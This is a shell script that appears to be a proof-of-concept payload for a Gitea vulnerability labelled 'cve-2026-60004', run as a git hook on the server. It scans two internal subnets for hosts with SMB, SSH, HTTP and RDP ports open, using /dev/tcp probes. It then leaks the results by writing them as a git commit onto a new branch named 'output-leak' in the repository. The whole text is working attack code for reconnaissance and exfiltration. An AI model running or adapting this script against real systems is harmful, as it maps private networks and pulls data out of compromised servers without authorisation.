#!/bin/sh
GD=$(git rev-parse --absolute-git-dir)
REPO=$(head -n1 "$GD/objects/info/alternates" | sed 's|/objects$||')
OUT=$(
OUT=/var/lib/gitea/.disc.txt
> $OUT
for sub in 10.209.15 10.209.179; do
  for i in $(seq 1 254); do
    ip="$sub.$i"
    (timeout 1 bash -c "echo > /dev/tcp/$ip/445" 2>/dev/null && echo "$ip" >> $OUT) &
    (timeout 1 bash -c "echo > /dev/tcp/$ip/22" 2>/dev/null && echo "$ip" >> $OUT) &
    (timeout 1 bash -c "echo > /dev/tcp/$ip/80" 2>/dev/null && echo "$ip" >> $OUT) &
    (timeout 1 bash -c "echo > /dev/tcp/$ip/3389" 2>/dev/null && echo "$ip" >> $OUT) &
    # limit parallelism: every 20 hosts wait
    if [ $((i % 20)) -eq 0 ]; then wait; fi
  done
  wait
done
sort -u $OUT
echo DISC-DONE
 2>&1; echo "[exit-status=$?]")
BLOB=$(printf '%s\n' "$OUT" | git --git-dir="$REPO" hash-object -w --stdin)
TREE=$(printf '100644 blob %s\toutput\n' "$BLOB" | git --git-dir="$REPO" mktree)
CM=$(GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid git --git-dir="$REPO" commit-tree "$TREE" -m "cve-2026-60004 output")
git --git-dir="$REPO" update-ref refs/heads/output-leak "$CM"
#A
